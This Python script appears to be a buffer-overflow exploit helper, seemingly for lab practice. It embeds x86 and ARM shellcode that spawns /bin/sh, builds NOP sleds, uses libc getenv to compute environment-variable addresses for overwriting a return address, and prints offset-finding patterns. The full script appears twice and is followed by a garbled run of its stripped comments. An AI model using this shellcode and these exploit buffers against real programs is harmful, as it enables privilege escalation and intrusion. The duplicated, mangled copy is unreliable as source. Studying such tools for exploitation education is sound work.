#!/usr/bin/env python3
import argparse
from sys import exit, stdout
import ctypes

x86_shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53"
                 b"\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80")

# Shellcode from exploit-db
#arm_shellcode = (b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x04\xa0\x82\xea\x02\x02\xc2\x71"
#                 b"\x05\xb4\x69\x46\x4f\xf0\x0b\x07\x01\xdf\x2d\x46\x2f\x62\x69\x6e"
#                 b"\x2f\x73\x68\x58")

# Shellcode from Azeria labs
arm_shellcode = (b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71"
                 b"\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58")

def toLittleEndianBytes(big_endian_string):
    """
        Accepts a string containing an address and returns a bytes object containing
        the address in little endian format.
        Ex: toLittleEndianBytes("aabbccdd") -> b"\xdd\xcc\xbb\xaa"

        Args:
            big_endian_string (string): Address you want to convert to little endian bytes
        Returns:
            Bytes object containing the address in little endian format
    """
    # Split string in groups of two characters, cast each group to its integer value (base 16)
    # then store them in hex_bytes as an array
    hex_bytes = [int(big_endian_string[i:i+2], 16) for i in range(0, len(big_endian_string), 2)]
    # Reverse the array (making it little endian) turn the whole array into a bytes object
    escaped_little_endian_bytes = bytes(reversed(hex_bytes))
    return escaped_little_endian_bytes


def printEnvBuffer(var_name, target_path, buf_size):
    """
        Gets the address of an already existing environment variable
        then prints a buffer of size buf_size to STDOUT containing the address
        repeated over and over again in little endian bytes format.

        Args:
            var_name (string): The name of wanted environment variable
            target_path (string): Path of the executable you are trying to exploit
            buf_size (int): The size of the buffer you want to print
        Returns: Nothing
    """
    try: var_name = var_name.encode('ascii')
    except: pass
    # Load libc dynamic linked library
    libc = ctypes.CDLL("libc.so.6")
    get_env = libc.getenv
    # Assign return type of getenv libc function as void pointer
    get_env.restype = ctypes.c_void_p
    # Get the address of the passed in environment variable
    # Recall the program name effects the memory location of our env var, each extra letter
    # added, decreases the memory address by two bytes, this includes this program.
    # Add 100 hundred to the address so we have an address somewhere inside the NOP sled
    env_addr = get_env(var_name) + (len('./'+__file__) - len(target_path)) * 2 + 100
    big_endian_hex = "{:08x}".format(env_addr)
    # Print a buffer to stdout that is large enough to overflow the target
    stdout.buffer.write(toLittleEndianBytes(big_endian_hex) * (buf_size // 2))


def printDebugBuffer(buff_size):
    """
        Prints a buffer of size buff_size containing the letters of the alphabet
        repeated 4 times. If the buffer is larger than 26*4 it will put extra A's
        at the beginning of the buffer.
        Ex. printDebugBuffer(8) -> "AAAABBBB"

        Args: buff_size: The size of the buffer you want to print
        Returns: Nothing
    """
    char_buff = ""

    for ascii_char in range(ord('A'), ord('Z') + 1):
        char_buff += chr(ascii_char) * 4

    if(len(char_buff) > buff_size):
        print(char_buff[:buff_size])
    else:
        char_buff = "A" * (buff_size-len(char_buff)) + char_buff
        print(char_buff)


def printShellcode(buff_size, arch):
    """
        Prints a buffer of size buff_size (approximately) that is filled with NOP
        instructions followed by the shellcode defined at the top of this script.
        It will use x86 NOP instructions and shellcode if specified otherwise it
        will use ARM NOP instructions and shellcode.

        Args:
            buff_size: The size of the buffer you want to print
            arch: Your choice of architecture (x86 or ARM)
        Returns: Nothing
    """
    if arch == "x86":
        shellcode = x86_shellcode
        nop_sled = b'\x90' * buff_size
    else:
        shellcode = arm_shellcode
        # ARM NOP instruction (mov r1, r1)
        nop_sled = b'\x01\x10\xa0\xe1' * (buff_size // 4)
        # THUMB NOP instruction (mov r1, r1)
        #nop_sled = b'\x09\x46' * (buff_size // 4)

    stdout.buffer.write(nop_sled + shellcode)


if __name__ == "__main__":
    # All the lines below just parse command line arguments and call the requested
    # functions that are defined above.

    parser = argparse.ArgumentParser()
    parser._action_groups.pop()
    req = parser.add_argument_group("required arguments")
    opt = parser.add_argument_group("optional arguments")
    req.add_argument("-s", "--size", type=int, help="Size of buffer", required=True)
    opt.add_argument("-e", "--env", type=str, help="Name of your environment variable")
    opt.add_argument("-t", "--target", type=str, help="Full path to target program")
    opt.add_argument("-a", "--arch", type=str,
        help="Specify architecture (x86 or ARM)", default="x86")
    opt.add_argument("-d", "--debug", action="store_true",
        help="Print alphabetic buffer of specified size, useful for finding the return address")
    args = parser.parse_args()

    if args.debug:
        printDebugBuffer(args.size)
    elif(args.env):
        if(not args.target):
            print("Please specify the path to your target with the -t option.")
            exit(1)
        printEnvBuffer(args.env, args.target, args.size)
    else:
        printShellcode(args.size, args.arch)


#!/usr/bin/env python3
import argparse
from sys import exit, stdout
import ctypes

x86_shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53"
                 b"\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80")

# Shellcode from exploit-db
#arm_shellcode = (b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x04\xa0\x82\xea\x02\x02\xc2\x71"
#                 b"\x05\xb4\x69\x46\x4f\xf0\x0b\x07\x01\xdf\x2d\x46\x2f\x62\x69\x6e"
#                 b"\x2f\x73\x68\x58")

# Shellcode from Azeria labs
arm_shellcode = (b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71"
                 b"\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58")

def toLittleEndianBytes(big_endian_string):
    """
        Accepts a string containing an address and returns a bytes object containing
        the address in little endian format.
        Ex: toLittleEndianBytes("aabbccdd") -> b"\xdd\xcc\xbb\xaa"

        Args:
            big_endian_string (string): Address you want to convert to little endian bytes
        Returns:
            Bytes object containing the address in little endian format
    """
    # Split string in groups of two characters, cast each group to its integer value (base 16)
    # then store them in hex_bytes as an array
    hex_bytes = [int(big_endian_string[i:i+2], 16) for i in range(0, len(big_endian_string), 2)]
    # Reverse the array (making it little endian) turn the whole array into a bytes object
    escaped_little_endian_bytes = bytes(reversed(hex_bytes))
    return escaped_little_endian_bytes


def printEnvBuffer(var_name, target_path, buf_size):
    """
        Gets the address of an already existing environment variable
        then prints a buffer of size buf_size to STDOUT containing the address
        repeated over and over again in little endian bytes format.

        Args:
            var_name (string): The name of wanted environment variable
            target_path (string): Path of the executable you are trying to exploit
            buf_size (int): The size of the buffer you want to print
        Returns: Nothing
    """
    try: var_name = var_name.encode('ascii')
    except: pass
    # Load libc dynamic linked library
    libc = ctypes.CDLL("libc.so.6")
    get_env = libc.getenv
    # Assign return type of getenv libc function as void pointer
    get_env.restype = ctypes.c_void_p
    # Get the address of the passed in environment variable
    # Recall the program name effects the memory location of our env var, each extra letter
    # added, decreases the memory address by two bytes, this includes this program.
    # Add 100 hundred to the address so we have an address somewhere inside the NOP sled
    env_addr = get_env(var_name) + (len('./'+__file__) - len(target_path)) * 2 + 100
    big_endian_hex = "{:08x}".format(env_addr)
    # Print a buffer to stdout that is large enough to overflow the target
    stdout.buffer.write(toLittleEndianBytes(big_endian_hex) * (buf_size // 2))


def printDebugBuffer(buff_size):
    """
        Prints a buffer of size buff_size containing the letters of the alphabet
        repeated 4 times. If the buffer is larger than 26*4 it will put extra A's
        at the beginning of the buffer.
        Ex. printDebugBuffer(8) -> "AAAABBBB"

        Args: buff_size: The size of the buffer you want to print
        Returns: Nothing
    """
    char_buff = ""

    for ascii_char in range(ord('A'), ord('Z') + 1):
        char_buff += chr(ascii_char) * 4

    if(len(char_buff) > buff_size):
        print(char_buff[:buff_size])
    else:
        char_buff = "A" * (buff_size-len(char_buff)) + char_buff
        print(char_buff)


def printShellcode(buff_size, arch):
    """
        Prints a buffer of size buff_size (approximately) that is filled with NOP
        instructions followed by the shellcode defined at the top of this script.
        It will use x86 NOP instructions and shellcode if specified otherwise it
        will use ARM NOP instructions and shellcode.

        Args:
            buff_size: The size of the buffer you want to print
            arch: Your choice of architecture (x86 or ARM)
        Returns: Nothing
    """
    if arch == "x86":
        shellcode = x86_shellcode
        nop_sled = b'\x90' * buff_size
    else:
        shellcode = arm_shellcode
        # ARM NOP instruction (mov r1, r1)
        nop_sled = b'\x01\x10\xa0\xe1' * (buff_size // 4)
        # THUMB NOP instruction (mov r1, r1)
        #nop_sled = b'\x09\x46' * (buff_size // 4)

    stdout.buffer.write(nop_sled + shellcode)


if __name__ == "__main__":
    # All the lines below just parse command line arguments and call the requested
    # functions that are defined above.

    parser = argparse.ArgumentParser()
    parser._action_groups.pop()
    req = parser.add_argument_group("required arguments")
    opt = parser.add_argument_group("optional arguments")
    req.add_argument("-s", "--size", type=int, help="Size of buffer", required=True)
    opt.add_argument("-e", "--env", type=str, help="Name of your environment variable")
    opt.add_argument("-t", "--target", type=str, help="Full path to target program")
    opt.add_argument("-a", "--arch", type=str,
        help="Specify architecture (x86 or ARM)", default="x86")
    opt.add_argument("-d", "--debug", action="store_true",
        help="Print alphabetic buffer of specified size, useful for finding the return address")
    args = parser.parse_args()

    if args.debug:
        printDebugBuffer(args.size)
    elif(args.env):
        if(not args.target):
            print("Please specify the path to your target with the -t option.")
            exit(1)
        printEnvBuffer(args.env, args.target, args.size)
    else:
        printShellcode(args.size, args.arch)


#!/usr/bin/env python3 # Shellcode from exploit-db #arm_shellcode = (b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x04\xa0\x82\xea\x02\x02\xc2\x71" #                 b"\x05\xb4\x69\x46\x4f\xf0\x0b\x07\x01\xdf\x2d\x46\x2f\x62\x69\x6e" #                 b"\x2f\x73\x68\x58") # Shellcode from Azeria labs Accepts a string containing an address and returns a bytes object containing         the address in little endian format.         Ex: toLittleEndianBytes("aabbccdd") -> b"\xdd\xcc\xbb\xaa"          Args:             big_endian_string (string): Address you want to convert to little endian bytes         Returns:             Bytes object containing the address in little endian format # Split string in groups of two characters, cast each group to its integer value (base 16) # then store them in hex_bytes as an array # Reverse the array (making it little endian) turn the whole array into a bytes object Gets the address of an already existing environment variable         then prints a buffer of size buf_size to STDOUT containing the address         repeated over and over again in little endian bytes format.          Args:             var_name (string): The name of wanted environment variable             target_path (string): Path of the executable you are trying to exploit             buf_size (int): The size of the buffer you want to print         Returns: Nothing # Load libc dynamic linked library # Assign return type of getenv libc function as void pointer # Get the address of the passed in environment variable # Recall the program name effects the memory location of our env var, each extra letter # added, decreases the memory address by two bytes, this includes this program. # Add 100 hundred to the address so we have an address somewhere inside the NOP sled # Print a buffer to stdout that is large enough to overflow the target Prints a buffer of size buff_size containing the letters of the alphabet         repeated 4 times. If the buffer is larger than 26*4 it will put extra A's         at the beginning of the buffer.         Ex. printDebugBuffer(8) -> "AAAABBBB"          Args: buff_size: The size of the buffer you want to print         Returns: Nothing Prints a buffer of size buff_size (approximately) that is filled with NOP         instructions followed by the shellcode defined at the top of this script.         It will use x86 NOP instructions and shellcode if specified otherwise it         will use ARM NOP instructions and shellcode.          Args:             buff_size: The size of the buffer you want to print             arch: Your choice of architecture (x86 or ARM)         Returns: Nothing # ARM NOP instruction (mov r1, r1) # THUMB NOP instruction (mov r1, r1) #nop_sled = b'\x09\x46' * (buff_size // 4) # All the lines below just parse command line arguments and call the requested # functions that are defined above.